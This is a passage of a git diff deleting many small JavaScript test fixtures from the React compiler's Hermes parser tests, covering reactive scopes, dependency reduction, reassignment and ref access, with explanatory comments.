+++ /dev/null
@@ -1,11 +0,0 @@
-function component(a) {
-  let x = "foo";
-  if (a) {
-    x = "bar";
-  } else {
-    x = "baz";
-  }
-  let y = x;
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/primitive-as-dep-nested-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/primitive-as-dep-nested-scope.js
deleted file mode 100644
index 19299e9d6e4c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/primitive-as-dep-nested-scope.js
+++ /dev/null
@@ -1,12 +0,0 @@
-// props.b + 1 is an non-allocating expression, which means Forget can
-// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1
-// separately from props.b)
-// Correctness:
-//   y depends on either props.b or props.b + 1
-function PrimitiveAsDepNested(props) {
-  let x = {};
-  mutate(x);
-  let y = foo(props.b + 1);
-  mutate(x, props.a);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/primitive-as-dep.js b/compiler/crates/react_hermes_parser/tests/fixtures/primitive-as-dep.js
deleted file mode 100644
index 1c1d23f15fe0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/primitive-as-dep.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// props.b + 1 is an non-allocating expression, which means Forget can
-// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1
-// separately from props.b)
-// Correctness:
-//   y depends on either props.b or props.b + 1
-function PrimitiveAsDep(props) {
-  let y = foo(props.b + 1);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/prop-capturing-function-1.js b/compiler/crates/react_hermes_parser/tests/fixtures/prop-capturing-function-1.js
deleted file mode 100644
index 24690f84fa86..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/prop-capturing-function-1.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(a, b) {
-  let z = { a, b };
-  let x = function () {
-    console.log(z);
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/property-assignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/property-assignment.js
deleted file mode 100644
index 41a03fd63131..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/property-assignment.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const x = {};
-  const y = [];
-  x.y = y;
-  const child = <Component data={y} />;
-  x.y.push(props.p0);
-  return <Component data={x}>{child}</Component>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/property-call-evaluation-order.js b/compiler/crates/react_hermes_parser/tests/fixtures/property-call-evaluation-order.js
deleted file mode 100644
index 06ac2ee9c92a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/property-call-evaluation-order.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// Should print A, arg, original
-
-function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
-  };
-  const x = {
-    f: () => console.log("original"),
-  };
-
-  (console.log("A"), x).f((changeF(x), console.log("arg"), 1));
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/property-call-spread.js b/compiler/crates/react_hermes_parser/tests/fixtures/property-call-spread.js
deleted file mode 100644
index fb439164f9ac..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/property-call-spread.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = foo.bar(...props.a, null, ...props.b);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scope-grouping.js b/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scope-grouping.js
deleted file mode 100644
index c87c5f26ff4a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scope-grouping.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function foo() {
-  let x = {};
-  let y = [];
-  let z = {};
-  y.push(z);
-  x.y = y;
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scopes-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scopes-if.js
deleted file mode 100644
index 22aee02f3862..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scopes-if.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b, c) {
-  const x = [];
-  if (a) {
-    const y = [];
-    y.push(b);
-    x.push(<div>{y}</div>);
-  } else {
-    x.push(c);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scopes.js b/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scopes.js
deleted file mode 100644
index 951732f8987f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-scopes.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function f(a, b) {
-  let x = []; // <- x starts being mutable here.
-  if (a.length === 1) {
-    if (b) {
-      x.push(b); // <- x stops being mutable here.
-    }
-  }
-
-  return <div>{x}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-interleaved-reactivity.js b/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-interleaved-reactivity.js
deleted file mode 100644
index 7f949e98595b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-interleaved-reactivity.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function Component(props) {
-  // a and b are technically independent, but their mutation is interleaved
-  // so they are grouped in a single reactive scope. a does not have any
-  // reactive inputs, but b does. therefore, we have to treat a as reactive,
-  // since it will be recreated based on a reactive input.
-  const a = {};
-  const b = [];
-  b.push(props.b);
-  a.a = null;
-
-  // because a may recreate when b does, it becomes reactive. we have to recreate
-  // c if a changes.
-  const c = [a];
-
-  // Example usage that could fail if we didn't treat a as reactive:
-  //  const [c, a] = Component({b: ...});
-  //  assert(c[0] === a);
-  return [c, a];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-computed-load.js b/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-computed-load.js
deleted file mode 100644
index 58c4efd9e872..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-computed-load.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const items = bar();
-  mutate(items[props.key], props.a);
-
-  const count = foo(items.length + 1);
-
-  return { items, count };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-property-load.js b/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-property-load.js
deleted file mode 100644
index 6fc18f0cfb0d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-property-load.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const items = bar();
-  mutate(items.a, props.a);
-
-  const count = foo(items.length + 1);
-
-  return { items, count };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reassign-object-in-context.js b/compiler/crates/react_hermes_parser/tests/fixtures/reassign-object-in-context.js
deleted file mode 100644
index 054da36361a2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reassign-object-in-context.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  let x = [];
-  let foo = () => {
-    x = {};
-  };
-  foo();
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reassign-primitive-in-context.js b/compiler/crates/react_hermes_parser/tests/fixtures/reassign-primitive-in-context.js
deleted file mode 100644
index fe481ecd4098..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reassign-primitive-in-context.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  let x = 5;
-  let foo = () => {
-    x = {};
-  };
-  foo();
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reassigned-phi-in-returned-function-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/reassigned-phi-in-returned-function-expression.js
deleted file mode 100644
index 51f1d3dd1677..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reassigned-phi-in-returned-function-expression.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component(props) {
-  return () => {
-    let str;
-    if (arguments.length) {
-      str = arguments[0];
-    } else {
-      str = props.str;
-    }
-    global.log(str);
-  };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reassignment-conditional.js b/compiler/crates/react_hermes_parser/tests/fixtures/reassignment-conditional.js
deleted file mode 100644
index 4e30a5a390da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reassignment-conditional.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function Component(props) {
-  let x = [];
-  x.push(props.p0);
-  let y = x;
-
-  if (props.p1) {
-    x = [];
-  }
-
-  y.push(props.p2);
-
-  return <Component x={x} y={y} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reassignment-separate-scopes.js b/compiler/crates/react_hermes_parser/tests/fixtures/reassignment-separate-scopes.js
deleted file mode 100644
index 39afb78096e2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reassignment-separate-scopes.js
+++ /dev/null
@@ -1,25 +0,0 @@
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    x.push(a);
-  }
-  let y = <div>{x}</div>;
-
-  switch (b) {
-    case 0: {
-      x = [];
-      x.push(b);
-      break;
-    }
-    default: {
-      x = [];
-      x.push(c);
-    }
-  }
-  return (
-    <div>
-      {y}
-      {x}
-    </div>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reassignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/reassignment.js
deleted file mode 100644
index 3d4fbf1d6614..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reassignment.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function Component(props) {
-  let x = [];
-  x.push(props.p0);
-  let y = x;
-
-  x = [];
-  let _ = <Component x={x} />;
-
-  y.push(props.p1);
-
-  return <Component x={x} y={y} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/recursive-function-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/recursive-function-expr.js
deleted file mode 100644
index fcd835a0fa28..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/recursive-function-expr.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function foo() {
-  (() => foo())();
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-condexpr.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-condexpr.js
deleted file mode 100644
index 1ef8a65f2e02..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-condexpr.js
+++ /dev/null
@@ -1,8 +0,0 @@
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInConditionalExpr(props, other) {
-  const x = foo(other) ? bar(props.a.b) : baz(props.a.b);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-ifelse.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-ifelse.js
deleted file mode 100644
index 2bdf3f3b99ec..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-ifelse.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInDirectIfElse(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.b = props.a.b;
-  } else {
-    x.c = props.a.b;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse-missing.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse-missing.js
deleted file mode 100644
index c774849edc75..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse-missing.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// props.a.b should NOT be added as a unconditional dependency to the reactive
-// scope that produces x if it is not accessed in every path
-
-function TestCondDepInNestedIfElse(props, other) {
-  const x = {};
-  if (foo(other)) {
-    if (bar()) {
-      x.a = props.a.b;
-    }
-  } else {
-    x.d = props.a.b;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse.js
deleted file mode 100644
index 5535da7303f1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse.js
+++ /dev/null
@@ -1,19 +0,0 @@
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInNestedIfElse(props, other) {
-  const x = {};
-  if (foo(other)) {
-    if (bar()) {
-      x.a = props.a.b;
-    } else {
-      x.b = props.a.b;
-    }
-  } else if (baz(other)) {
-    x.c = props.a.b;
-  } else {
-    x.d = props.a.b;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-case.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-case.js
deleted file mode 100644
index 0dd37e5e3d9c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-case.js
+++ /dev/null
@@ -1,18 +0,0 @@
-// props.a.b should NOT be added as a unconditional dependency to the reactive
-// scope that produces x if it is not accessed in every path
-
-function TestCondDepInSwitchMissingCase(props, other) {
-  const x = {};
-  switch (foo(other)) {
-    case 1:
-      x.a = props.a.b;
-      break;
-    case 2:
-      x.b = 42;
-      break;
-    default:
-      x.c = props.a.b;
-      break;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-default.js
deleted file mode 100644
index 0bbd39cb19bb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-default.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// props.a.b should NOT be added as a unconditional dependency to the reactive
-// scope that produces x if it is not accessed in the default case.
-
-function TestCondDepInSwitchMissingDefault(props, other) {
-  const x = {};
-  switch (foo(other)) {
-    case 1:
-      x.a = props.a.b;
-      break;
-    case 2:
-      x.b = props.a.b;
-      break;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch.js
deleted file mode 100644
index 1365705d55bc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch.js
+++ /dev/null
@@ -1,18 +0,0 @@
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInSwitch(props, other) {
-  const x = {};
-  switch (foo(other)) {
-    case 1:
-      x.a = props.a.b;
-      break;
-    case 2:
-      x.b = props.a.b;
-      break;
-    default:
-      x.c = props.a.b;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-no-uncond.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-no-uncond.js
deleted file mode 100644
index a4deaf78863d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-no-uncond.js
+++ /dev/null
@@ -1,10 +0,0 @@
-// When an object's properties are only read conditionally, we should
-// track the base object as a dependency.
-function TestOnlyConditionalDependencies(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.b = props.a.b;
-    x.c = props.a.b.c;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-promote-uncond.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-promote-uncond.js
deleted file mode 100644
index debbbd34e6ea..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-promote-uncond.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// When a conditional dependency `props.a.b.c` has no unconditional dependency
-// in its subpath or superpath, we should find the nearest unconditional access
-// and promote it to an unconditional dependency.
-function TestPromoteUnconditionalAccessToDependency(props, other) {
-  const x = {};
-  x.a = props.a.a.a;
-  if (foo(other)) {
-    x.c = props.a.b.c;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order1.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order1.js
deleted file mode 100644
index b0fb33839c18..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order1.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// When a conditional dependency `props.a` is a subpath of an unconditional
-// dependency `props.a.b`, we can access `props.a` while preserving program
-// semantics (with respect to nullthrows).
-// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
-// ordering of accesses should not matter
-function TestConditionalSubpath1(props, other) {
-  const x = {};
-  x.b = props.a.b;
-  if (foo(other)) {
-    x.a = props.a;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order2.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order2.js
deleted file mode 100644
index dc9d7afed05b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order2.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// When a conditional dependency `props.a` is a subpath of an unconditional
-// dependency `props.a.b`, we can access `props.a` while preserving program
-// semantics (with respect to nullthrows).
-// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
-// ordering of accesses should not matter
-function TestConditionalSubpath2(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.a = props.a;
-  }
-  x.b = props.a.b;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order1.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order1.js
deleted file mode 100644
index 67c2e919475e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order1.js
+++ /dev/null
@@ -1,12 +0,0 @@
-// When an unconditional dependency `props.a` is the subpath of a conditional
-// dependency `props.a.b`, we can safely overestimate and only track `props.a`
-// as a dependency
-// ordering of accesses should not matter
-function TestConditionalSuperpath1(props, other) {
-  const x = {};
-  x.a = props.a;
-  if (foo(other)) {
-    x.b = props.a.b;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order2.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order2.js
deleted file mode 100644
index 2ea7f3d9a517..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order2.js
+++ /dev/null
@@ -1,12 +0,0 @@
-// When an unconditional dependency `props.a` is the subpath of a conditional
-// dependency `props.a.b`, we can safely overestimate and only track `props.a`
-// as a dependency
-// ordering of accesses should not matter
-function TestConditionalSuperpath2(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.b = props.a.b;
-  }
-  x.a = props.a;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-memberexpr-join.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-memberexpr-join.js
deleted file mode 100644
index 393653185b7d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-memberexpr-join.js
+++ /dev/null
@@ -1,17 +0,0 @@
-// To preserve the nullthrows behavior and reactive deps of this code,
-// Forget needs to add `props.a.b` or a subpath as a dependency.
-//
-// (1) Since the reactive block producing x unconditionally read props.a.<...>,
-//     reading `props.a.b` outside of the block would still preserve nullthrows
-//     semantics of source code
-// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.
-//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,
-//     not its actual value. Since we already preserve nullthrows on `props.a`,
-//     we technically do not need to add `props.a` as a dependency.
-
-function Component(props) {
-  let x = [];
-  x.push(props.a?.b);
-  x.push(props.a.b.c);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-dependencies-optional-member-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-dependencies-optional-member-expression.js
deleted file mode 100644
index a87587ced7b4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-dependencies-optional-member-expression.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = [];
-  x.push(props.items?.length);
-  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-cond-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-cond-scope.js
deleted file mode 100644
index 0a5e0a16ddbb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-cond-scope.js
+++ /dev/null
@@ -1,26 +0,0 @@
-// Some reactive scopes are created within a conditional. If a child scope
-// is within a conditional, its reactive dependencies should be propagated
-// as conditionals
-//
-// In this test:
-// ```javascript
-// scope @0 (deps=[???] decls=[x]) {
-//   const x = {};
-//   if (foo) {
-//     scope @1 (deps=[props.a.b] decls=[tmp]) {
-//       const tmp = bar(props.a.b);
-//     }
-//     x.a = tmp;
-//   }
-// }
-// return x;
-// ```
-
-function TestReactiveDepsInCondScope(props) {
-  let x = {};
-  if (foo) {
-    let tmp = bar(props.a.b);
-    x.a = tmp;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-join-uncond-scopes-cond-deps.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-join-uncond-scopes-cond-deps.js
deleted file mode 100644
index 96917558e9ba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-join-uncond-scopes-cond-deps.js
+++ /dev/null
@@ -1,26 +0,0 @@
-// This tests an optimization, NOT a correctness property.
-// When propagating reactive dependencies of an inner scope up to its parent,
-// we prefer to retain granularity.
-//
-// In this test, we check that Forget propagates the inner scope's conditional
-// dependencies (e.g. props.a.b) instead of only its derived minimal
-// unconditional dependencies (e.g. props).
-// ```javascript
-//  scope @0 (deps=[???] decls=[x, y]) {
-//    let y = {};
-//    scope @1 (deps=[props] decls=[x]) {
-//      let x = {};
-//      if (foo) mutate1(x, props.a.b);
-//    }
-//    mutate2(y, props.a.b);
-//  }
-
-function TestJoinCondDepsInUncondScopes(props) {
-  let y = {};
-  let x = {};
-  if (foo) {
-    mutate1(x, props.a.b);
-  }
-  mutate2(y, props.a.b);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-descendant.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-descendant.js
deleted file mode 100644
index 65557df7254e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-descendant.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// Test that we can track non-overlapping dependencies separately.
-// (not needed for correctness but for dependency granularity)
-function TestNonOverlappingDescendantTracked(props) {
-  let x = {};
-  x.a = props.a.x.y;
-  x.b = props.b;
-  x.c = props.a.c.x.y.z;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-direct.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-direct.js
deleted file mode 100644
index 9a4bfabeb80b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-direct.js
+++ /dev/null
@@ -1,8 +0,0 @@
-// Test that we can track non-overlapping dependencies separately.
-// (not needed for correctness but for dependency granularity)
-function TestNonOverlappingTracked(props) {
-  let x = {};
-  x.b = props.a.b;
-  x.c = props.a.c;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-descendant.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-descendant.js
deleted file mode 100644
index 0ebc163e7c57..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-descendant.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// Test that we correctly track a subpath if the subpath itself is accessed as
-// a dependency
-function TestOverlappingDescendantTracked(props) {
-  let x = {};
-  x.b = props.a.b.c;
-  x.c = props.a.b.c.x.y;
-  x.a = props.a;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-direct.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-direct.js
deleted file mode 100644
index 9dc0b3104336..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-direct.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// Test that we correctly track a subpath if the subpath itself is accessed as
-// a dependency
-function TestOverlappingTracked(props) {
-  let x = {};
-  x.b = props.a.b;
-  x.c = props.a.c;
-  x.a = props.a;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order1.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order1.js
deleted file mode 100644
index ccf4afec5dba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order1.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// Determine that we only need to track p.a here
-// Ordering of access should not matter
-function TestDepsSubpathOrder1(props) {
-  let x = {};
-  x.b = props.a.b;
-  x.a = props.a;
-  x.c = props.a.b.c;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order2.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order2.js
deleted file mode 100644
index 1b078ea8eab3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order2.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// Determine that we only need to track p.a here
-// Ordering of access should not matter
-function TestDepsSubpathOrder2(props) {
-  let x = {};
-  x.a = props.a;
-  x.b = props.a.b;
-  x.c = props.a.b.c;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order3.js b/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order3.js
deleted file mode 100644
index 5d72ff2deb77..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order3.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// Determine that we only need to track p.a here
-// Ordering of access should not matter
-function TestDepsSubpathOrder3(props) {
-  let x = {};
-  x.c = props.a.b.c;
-  x.a = props.a;
-  x.b = props.a.b;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-aliased-no-added-to-dep.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-aliased-no-added-to-dep.js
deleted file mode 100644
index e3ff619ffa2f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-aliased-no-added-to-dep.js
+++ /dev/null
@@ -1,10 +0,0 @@
-// @validateRefAccessDuringRender false
-function VideoTab() {
-  const ref = useRef();
-  const t = ref.current;
-  let x = () => {
-    console.log(t);
-  };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-aliased-not-added-to-dep-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-aliased-not-added-to-dep-2.js
deleted file mode 100644
index 92d7decf2046..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-aliased-not-added-to-dep-2.js
+++ /dev/null
@@ -1,8 +0,0 @@
-// @validateRefAccessDuringRender false
-function Foo({ a }) {
-  const ref = useRef();
-  const val = ref.current;
-  const x = { a, val };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-field-not-added-to-dep.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-field-not-added-to-dep.js
deleted file mode 100644
index 7aaee3b21a65..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-field-not-added-to-dep.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @validateRefAccessDuringRender false
-function VideoTab() {
